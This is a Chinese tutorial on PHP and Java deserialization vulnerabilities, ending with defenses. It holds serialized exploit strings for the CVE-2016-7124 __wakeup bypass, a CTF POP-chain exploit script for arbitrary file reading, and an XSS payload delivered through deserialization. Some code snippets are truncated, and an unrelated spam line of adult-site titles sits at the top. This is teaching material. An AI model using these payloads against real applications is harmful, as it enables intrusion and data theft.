日韩黑丝制服一区视频播放|日韩欧美人妻丝袜视频在线观看|九九影院一级蜜桃|亚洲中文在线导航|青草草视频在线观看|婷婷五月色伊人网站|日本一区二区在线|国产AV一二三四区毛片|正在播放久草视频|亚洲色图精品一区

分享

WEB常見漏洞之反序列化(基礎(chǔ)原理篇)

 zZ華 2023-02-13 發(fā)布于廣東

免責(zé)聲明由于傳播、利用本公眾號(hào)狐貍說安全所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負(fù)責(zé),公眾號(hào)狐貍說安全及作者不為此承擔(dān)任何責(zé)任,一旦造成后果請(qǐng)自行承擔(dān)!如有侵權(quán)煩請(qǐng)告知,我們會(huì)立即刪除并致歉,謝謝!

0x01 前言

概念:這其實(shí)是為了解決 PHP 對(duì)象傳遞的一個(gè)問題,因?yàn)?PHP 文件在執(zhí)行結(jié)束以后就會(huì)將對(duì)象銷毀,那么如果下次有一個(gè)頁(yè)面恰好要用到剛剛銷毀的對(duì)象就會(huì)束手無策,總不能你永遠(yuǎn)不讓它銷毀,等著你吧,于是人們就想出了一種能長(zhǎng)久保存對(duì)象的方法,這就是 PHP 的序列化,那當(dāng)我們下次要用的時(shí)候只要反序列化一下就 ok 啦 序列化的目的是方便數(shù)據(jù)的傳輸和存儲(chǔ). json 是為了傳遞數(shù)據(jù)的方便性.。

0x02 序列化與反序列化

序列化:函數(shù) : serialize() 把復(fù)雜的數(shù)據(jù)類型壓縮到一個(gè)字符串中 數(shù)據(jù)類型可以是數(shù)組,字符串,對(duì)象等 序列化一個(gè)對(duì)象將會(huì)保存對(duì)象的所有變量,但是不會(huì)保存對(duì)象的方法,只會(huì)保存類的名字。 

反序列化: 函數(shù): unserialize() 恢復(fù)原先被序列化的變量

0x03 魔術(shù)函數(shù)

__construct 當(dāng)一個(gè)對(duì)象創(chuàng)建時(shí)被調(diào)用,__destruct 當(dāng)一個(gè)對(duì)象銷毀時(shí)被調(diào)用,__toString 當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串被調(diào)用。__wakeup() 使用unserialize時(shí)觸發(fā)__sleep() 使用serialize時(shí)觸發(fā)__destruct() 對(duì)象被銷毀時(shí)觸發(fā)__call() 在對(duì)象上下文中調(diào)用不可訪問的方法時(shí)觸發(fā)__callStatic() 在靜態(tài)上下文中調(diào)用不可訪問的方法時(shí)觸發(fā)__get() 用于從不可訪問的屬性讀取數(shù)據(jù)__set() 用于將數(shù)據(jù)寫入不可訪問的屬性__isset() 在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā)__unset() 在不可訪問的屬性上使用unset()時(shí)觸發(fā)__toString() 把類當(dāng)作字符串使用時(shí)觸發(fā),返回值需要為字符串__invoke() 當(dāng)腳本嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)

1.序列化

class people{

public $name = 'sam';

private $sex = 'man';

protected $age = '20';

}

$people1 = new people();

$object = serialize($people);

print_r($object);123456789101112131415

定義一個(gè)people類,含有公共屬性name,私有屬性sex,保護(hù)屬性age。隨后實(shí)例化一個(gè)people1,并對(duì)其進(jìn)行序列化,最后輸出結(jié)果為:

O:6:'people':3:{s:4:'name';s:3:'sam';s:11:' people sex';s:3:'man';s:6:' * age';s:2:'20';}

圖片

2.反序列化

public $name = 'sam';

private $sex = 'man';

protected $age = '20';

}

$people1 = new people();

$object = serialize($people1);$a=unserialize($object);#print_r($object);var_dump($a);1234567891011121314151617

輸出為:

object(people)#2 (3) { ['name']=> string(3) 'sam' ['sex':'people':private]=> string(3) 'man' ['age':protected]=> string(2) '20' }

這里需要說明一下,對(duì)于public的屬性無需其他特殊操作,但是對(duì)于private屬性,描述的時(shí)候需要在前后添加空格,或者帶上其所在的類名,對(duì)于protected屬性需要加' * '。

幾個(gè)魔法函數(shù)的調(diào)用

1. __wakeup() 當(dāng)unserialize()函數(shù)反序列化時(shí),在數(shù)據(jù)流還未被反序列化未對(duì)象之前會(huì)調(diào)用該函數(shù)進(jìn)行初始化. 2. __destruct() 當(dāng)對(duì)象銷毀時(shí)觸發(fā),也就是說只要你反序列化或者實(shí)例化一個(gè)對(duì)象,當(dāng)你調(diào)用結(jié)束后都會(huì)觸發(fā)該函數(shù)。

結(jié)果:hi結(jié)束了

可以看到,先輸出了hi,說明wakeup()函數(shù)先被調(diào)用,隨后整個(gè)反序列化結(jié)束,對(duì)象被銷毀,觸發(fā)destruct()函數(shù),輸出結(jié)束了。 

3. __toString() 當(dāng)一個(gè)對(duì)象被當(dāng)作字符串使用時(shí)觸發(fā)。

a;    }}class next{    function __toString(){        echo '我在這';    }}$t='O:4:'star':1:{s:1:'a';O:4:'next':0:{}}';unserialize($t);1234567891011121314

結(jié)果:我在這

Catchable fatal error: Method next::__toString() must return a string value in /tmp/41bac5636b55eff5c8abea138d605489916c2612abc45fd39fdaa87a827a0e00/main.php on line 5

這里沒有retrun,也沒有忽略報(bào)錯(cuò),所有有一條報(bào)錯(cuò)信息,無關(guān)緊要,但是要說的是,__toString()是要又return的,不然會(huì)報(bào)錯(cuò)。結(jié)果顯示當(dāng)類star中的

echo $this->a;1

執(zhí)行時(shí),a被當(dāng)作一個(gè)字符串,此時(shí)我將a設(shè)置為類next,此時(shí)類next作為字符串被調(diào)用,所以觸發(fā)類next中的toString()函數(shù),輸出“我在這”。4. invoke() 當(dāng)類被當(dāng)作函數(shù)調(diào)用時(shí)觸發(fā),看實(shí)例。

a; return $function(); }}class next{ function __invoke(){ echo '我在這'; }}$t='O:4:'star':1:{s:1:'a';O:4:'next':0:{}}';unserialize($t);123456789101112131415

結(jié)果:我在這 

分析過程和上面那個(gè)函數(shù)一樣,也是通過反序列化給a賦值,只是賦的不是字符串而是其他類,然后

return $function();1的時(shí)候,將類當(dāng)作函數(shù)調(diào)用,觸發(fā)了invoke()函數(shù)輸出了“我在這”。**5. get()** 這個(gè)函數(shù)是當(dāng)訪問不可訪問的屬性的時(shí)候觸發(fā),不可訪問的屬性有兩種

私有屬性或者保護(hù)屬性,這種訪問受限的屬性的時(shí)候會(huì)觸發(fā)__get()屬性不存在的時(shí)候,也會(huì)觸發(fā)__get()

str['str']->source;    }}class next{    function __get($name){        echo '我在這';        return;    }}$t='O:4:'star':2:{s:1:'a';N;s:3:'str';a:1:{s:3:'str';O:4:'next':0:{}}}';unserialize($t);123456789101112131415

結(jié)果:我在這 

通過str['str’]賦值為類next,訪問next的source,但是類next中不存在屬性source所以觸發(fā)__get()函數(shù),訪問保護(hù)屬性等同理。

小結(jié):反序列化的過程通過這些魔法函數(shù)可以達(dá)到我們想到要的操作,尤其是后面3個(gè)函數(shù),大家會(huì)發(fā)現(xiàn),這三個(gè)函數(shù)可以達(dá)到多個(gè)類的連續(xù)使用,從而達(dá)到鏈的效果,這也就是反序列化中的pop鏈的編寫,接下來我們講一下反序列化的漏洞

0x04 反序列化漏洞1.__wakeup( )繞過(CVE-2016-7124) 反序列化時(shí),如果表示對(duì)象屬性個(gè)數(shù)的值大于真實(shí)的屬性個(gè)數(shù)時(shí)就會(huì)跳過__wakeup( )的執(zhí)行。 

影響版本:PHP before 5.6.25 7.x before 7.0.10

a;    }}$t='O:4:'star':1:{s:1:'a';s:9:'我在這';}';unserialize($t);123456789

結(jié)果:我在這

O:4:'star':2:{s:1:'a';s:9:'我在這';}1

結(jié)果:無輸出 

結(jié)果顯示,當(dāng)表示屬性個(gè)數(shù)大于真實(shí)個(gè)數(shù)時(shí),wakeup()函數(shù)不執(zhí)行,被繞過了,通常題目中,wake()中含有很多限制,通過這個(gè)漏洞繞過__wake()可以達(dá)到繞過限制的目的。

2.POP鏈構(gòu)造

POP鏈的構(gòu)造

首先認(rèn)識(shí)一下什么是POP?POP面向?qū)傩跃幊?。指從現(xiàn)有運(yùn)行環(huán)境中尋找一系列的代碼或指令調(diào)用,然后根據(jù)需求構(gòu)造出一組連續(xù)的調(diào)用鏈。其實(shí)就是構(gòu)造一條和原代碼需求一樣的鏈條,去找到被控制的屬性或方法,從而構(gòu)造POP鏈達(dá)到攻擊的目的。

直接上題方便理解

file_get($this->var); echo $content; }}

class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo $this->source.'Welcome'.'

'; } public function __toString(){ return $this->str['str']->source; }

public function _show(){ if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) { die('hacker'); } else { highlight_file($this->source); }

}

public function __wakeup(){ if(preg_match('/gopher|http|file|ftp|https|dict|\.\./i', $this->source)) { echo 'hacker'; $this->source = 'index.php'; } }}

class Test{ public $p; public function __construct(){ $this->p = array(); }

public function __get($key){ $function = $this->p; return $function(); }}

if(isset($_GET['hello'])){ unserialize($_GET['hello']);}else{ $show = new Show('pop3.php'); $show->_show();}

1.首先看到unserialize($_GET['hello’]) 將get傳參的hello進(jìn)行了反序列化操作。那么將會(huì)調(diào)用到Show類中__weakup方法。2.因?yàn)?this->source = “index.php” source被當(dāng)做字符串所以調(diào)用Show類中的__to string.3. ** return $this->str['str’]->source ** source屬性不存在所以調(diào)用Test類中的 get方法。4. ** $function = $this->p;return $function(); **把取出來的p當(dāng)做還是調(diào)用因此又會(huì)引起調(diào)用了 Read類中的__invoke方法,其中就可以把文件讀取出來了。

exp

$s = new Show();$t = new Test();$r = new Read();$t -> p = $r;$s ->str['str'] = $t;$s -> source = $s;var_dump(serialize($s));

0x05 反序列化詳講

1.簡(jiǎn)介

序列化就是將數(shù)據(jù)轉(zhuǎn)化成一種可逆的字符串,字符串還原原來結(jié)構(gòu)的過程叫做反序列化

序列化后,方便保存和傳輸(保留成員變量,不保留函數(shù)方法)

數(shù)據(jù)(對(duì)象)--------序列化---------->字符串-----------反序列化-------->數(shù)據(jù)(對(duì)象)

2.原理

函數(shù):

serialize()序列化

將一個(gè)對(duì)象轉(zhuǎn)換成可以傳輸?shù)囊粋€(gè)字符串

序列化對(duì)象后,可以方便的將它傳遞到其他需要它的地方,且其類型和結(jié)構(gòu)不會(huì)改變

eg:

class S{

public $test='pikachu';

}

$s=new S(); //創(chuàng)建一個(gè)對(duì)象

serialize($s); //把這個(gè)對(duì)象進(jìn)行序列化

unserialize()反序列化將序列化后的字符串還原成一個(gè)對(duì)象,或數(shù)組(即進(jìn)行反序列化),并返回原始的對(duì)象結(jié)構(gòu)并在后面的代碼中繼續(xù)使用,加密后的字符串如下所示

圖片

對(duì)字符串代碼進(jìn)行分析:

$u=unserialize('O:1:'S':1:{s:4:'test';s:7:'pikachu';}');echo $u->test; //得到的結(jié)果為pikachuO:1:'S':1:{s:4:'test';s:7:'pikachu';} //這是序列化結(jié)果O:代表object 1:代表對(duì)象名字長(zhǎng)度為一個(gè)字符 S:對(duì)象名稱 1:代表對(duì)象里面有一個(gè)變量 s:數(shù)據(jù)類型 4:變量名長(zhǎng)度 test:變量名稱 s:數(shù)據(jù)類型 7:變量值的長(zhǎng)度 pikachu:變量值

常見的序列化格式:

二進(jìn)制格式

字節(jié)數(shù)組

json字符串

xml字符串 ……布爾型(bool):b

整數(shù)型(int):i

字符串型(str):s

數(shù)組型(array):a

對(duì)象型(object):O

NULL型:N

產(chǎn)生的原因:

對(duì)用戶的輸入檢測(cè)不嚴(yán)1.無類:當(dāng)未檢測(cè)出攻擊者輸入的序列化字符串中包含的惡意執(zhí)行語(yǔ)句攻擊者從而達(dá)到控制反序列化過程,進(jìn)而進(jìn)行惡意代碼的執(zhí)行(好比SQL注入,目錄遍歷等操作)2.有類:當(dāng)進(jìn)行反序列化的時(shí)候就有可能會(huì)觸發(fā)對(duì)象中的一些魔術(shù)方法

魔術(shù)方法(觸發(fā)):

(前提:有可利用的類)

__construct() //創(chuàng)建對(duì)象時(shí)觸發(fā)

__destruct() //對(duì)象銷毀時(shí)觸發(fā)

__call() //在對(duì)象中調(diào)用不可訪問的方法時(shí)觸發(fā)

__callStatic() //在靜態(tài)中調(diào)用不可訪問的方法時(shí)觸發(fā)

__get() //用于從不可訪問的屬性讀取數(shù)據(jù)

__set() //用于將數(shù)據(jù)寫入不可訪問的屬性

__isset() //在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā)

__unset() //在不可訪問的屬性上使用unset()時(shí)觸發(fā)

__invoke() //當(dāng)腳本嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)

__wakeup() //執(zhí)行unserialize()時(shí),先會(huì)調(diào)用這個(gè)函數(shù)

__sleep() //執(zhí)行serialize()時(shí),先會(huì)調(diào)用這個(gè)函數(shù)

利用:

分析因?yàn)檫@是反序列化API所以要先把包含執(zhí)行語(yǔ)句的php序列化

圖片

構(gòu)造序列化編寫包含惡意語(yǔ)句的php下面是一個(gè)彈窗

class S{ var $test = '

';}

$a = new S();echo serialize($a);?>構(gòu)造出來是:

O:1:'S':1:{s:4:'test';s:29:'';}并將其進(jìn)行序列化(網(wǎng)上的在線工具都可)

圖片

輸入執(zhí)行將序列化后的復(fù)制到輸入框提交

會(huì)產(chǎn)生彈窗

圖片

0x06 JAVA反序列化和反序列化詳解1、 序列化和反序列化的必要性當(dāng)兩個(gè)進(jìn)程進(jìn)行遠(yuǎn)程通信時(shí),可以相互發(fā)送各種類型的數(shù)據(jù),包括文本、圖片、音頻、視頻等, 而這些數(shù)據(jù)都會(huì)以二進(jìn)制序列的形式在網(wǎng)絡(luò)上傳送。而JAVA其實(shí)是面向?qū)ο蟮拈_發(fā)方式,一切都是JAVA對(duì)象,想要實(shí)現(xiàn)JAVA對(duì)象的網(wǎng)絡(luò)傳輸,就可以使用序列化和反序列化來實(shí)現(xiàn)。發(fā)送方將需要發(fā)送的Java對(duì)象序列化轉(zhuǎn)換為字節(jié)序列,然后在網(wǎng)絡(luò)上傳送;接收方接收到字符序列后,使用反序列化從字節(jié)序列中恢復(fù)出Java對(duì)象。Java序列化的好處:一是實(shí)現(xiàn)了數(shù)據(jù)的持久化,通過序列化可以把數(shù)據(jù)永久地保存到硬盤上(通常存放在文件里);二是利用序列化實(shí)現(xiàn)遠(yuǎn)程通信,即在網(wǎng)絡(luò)上傳送對(duì)象的字節(jié)序列??傊涸诰W(wǎng)絡(luò)中數(shù)據(jù)的傳輸必須是序列化形式來進(jìn)行的。其他序列化的方式可以是json傳輸,xml形式傳輸。2、序列化和反序列化(1)含義:序列化就是內(nèi)存中的對(duì)象寫入到IO流中,保存的格式可以是二進(jìn)制或者文本內(nèi)容。反序列化就是IO流還原成對(duì)象(2)用途:

傳輸網(wǎng)絡(luò)對(duì)象保存Session3、Java序列化演示(1)序列化java.io.ObjectOutputStream 代表對(duì)象輸出流,它的 writeObject()方法可對(duì)參數(shù)指定的對(duì)象進(jìn)行序列化,把得到的字節(jié)序列寫到一 個(gè)目標(biāo)輸出流中。(2)反序列化java.io.ObjectInputStream 代表對(duì)象輸入流,它的readObject()方法從一個(gè)源輸入流中讀取字節(jié)序列,再把它們反序列化為一個(gè)對(duì) 象,并將其返回。4、反序列化漏洞(1)如果某個(gè)類需要自定義反序列化方式,可以重寫類的 readObject() 方法(2)在反序列化的過程中,會(huì)調(diào)用這個(gè)類中的重寫的readObject()方法(3)如果readObject()方法的代碼有一些敏感操作,就可能會(huì)引發(fā)漏洞(或者自定義的反序列化方法)5、實(shí)現(xiàn)Java對(duì)象序列化與反序列化的方法如果有一個(gè)Demo類,它的對(duì)象需要序列化,提供如下三種方法:(1)方法一:若Demo類僅僅實(shí)現(xiàn)了Serializable接口,則可以按照以下方式進(jìn)行序列化和反序列化。ObjectOutputStream采用默認(rèn)的序列化方式,對(duì)Demo對(duì)象的非transient的實(shí)例變量進(jìn)行序列化。ObjcetInputStream采用默認(rèn)的反序列化方式,對(duì)對(duì)Demo對(duì)象的非transient的實(shí)例變量進(jìn)行反序列化。(2)方法二:若Demo類僅僅實(shí)現(xiàn)了Serializable接口,并且還定義了readObject(ObjectInputStream in)和writeObject(ObjectOutputSteam out),則采用以下方式進(jìn)行序列化與反序列化。ObjectOutputStream調(diào)用Demo對(duì)象的writeObject(ObjectOutputStream out)的方法進(jìn)行序列化。ObjectInputStream會(huì)調(diào)用Demo對(duì)象的readObject(ObjectInputStream in)的方法進(jìn)行反序列化。(3)方法三:若Demo類實(shí)現(xiàn)了Externalnalizable接口,且Demo類必須實(shí)現(xiàn)readExternal(ObjectInput in)和writeExternal(ObjectOutput out)方法,則按照以下方式進(jìn)行序列化與反序列化。ObjectOutputStream調(diào)用Demo對(duì)象的writeExternal(ObjectOutput out))的方法進(jìn)行序列化。ObjectInputStream會(huì)調(diào)用Demo對(duì)象的readExternal(ObjectInput in)的方法進(jìn)行反序列化。6、JDK類庫(kù)中序列化的步驟 步驟一:創(chuàng)建一個(gè)對(duì)象輸出流,它可以包裝一個(gè)其它類型的目標(biāo)輸出流,如文件輸出流:

ObjectOutputStream out = new ObjectOutputStream(new fileOutputStream(“C:\\java_JDK\\objectfile.obj”));

步驟二:通過對(duì)象輸出流的writeObject()方法寫對(duì)象:

String obj1 = (String)in.readObject();Date obj2 = (Date)in.readObject();7、transient關(guān)鍵字transient關(guān)鍵字表示有理的,被修飾的數(shù)據(jù)是不能進(jìn)行序列化的修改如下:

private transient char sex; //被transient關(guān)鍵字修飾,不參與序列化

運(yùn)行結(jié)果:

文件存在name = Tomsex =  year = 20gpa = 3.6

此時(shí)可以看見,被transient關(guān)鍵字修飾的變量sex并沒有被序列化,返回了空值。

0x07 反序列化防御

治病需要除根,能從根本上阻止反序列化安全問題的防御方案就是完整性校驗(yàn),而最常見的例子之一就是JWT。

我們知道JWT由3部分組成:Header,Payload,Verify Signature。最后的簽名部分其實(shí)就是對(duì)數(shù)據(jù)進(jìn)行完整性校驗(yàn)的關(guān)鍵部分。

圖片

圖:JWT基本結(jié)構(gòu)

服務(wù)器端在接受到JWT之后,首先用secret對(duì)數(shù)據(jù)部分進(jìn)行哈希計(jì)算,隨后檢查計(jì)算出來的哈希值是否和請(qǐng)求中的JWT簽名部分的哈希值相同。若兩者一致則認(rèn)為數(shù)據(jù)完整性沒有被破壞,若兩者有差異則說明數(shù)據(jù)被修改過。

如果攻擊者想要憑空偽造一個(gè)JWT,或者想修改JWT中的數(shù)據(jù),但由于計(jì)算哈希值的secret只有服務(wù)器端才知道,因此攻擊者無法偽造出合法的簽名字段,進(jìn)而這樣有問題的JTW很容易就能被服務(wù)器端識(shí)別出來。

值得注意的是,完整性校驗(yàn)還需要把數(shù)據(jù)結(jié)構(gòu)也包含進(jìn)來,這是因?yàn)楣粽呖赡軙?huì)修改序列化后的數(shù)據(jù)的結(jié)構(gòu),而不僅僅只是數(shù)據(jù)。

其他防御措施

除此之外其他有助于防御反序列化安全問題的措施,但并不能完美的做到事前預(yù)防,例如:

反序列化之前,先進(jìn)行嚴(yán)格的數(shù)據(jù)類型校驗(yàn)。由于校驗(yàn)規(guī)則容易被攻擊者探索出來,進(jìn)而容易被繞過,因此防御不能僅依賴這一個(gè)手段,但可以作為完整性校驗(yàn)防御方案的補(bǔ)充。對(duì)反序列化過程進(jìn)行詳盡的日志記錄,用以安全審計(jì)或調(diào)查。監(jiān)控反序列化過程,在發(fā)現(xiàn)疑似反序列化攻擊時(shí)進(jìn)行警報(bào)。

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類似文章 更多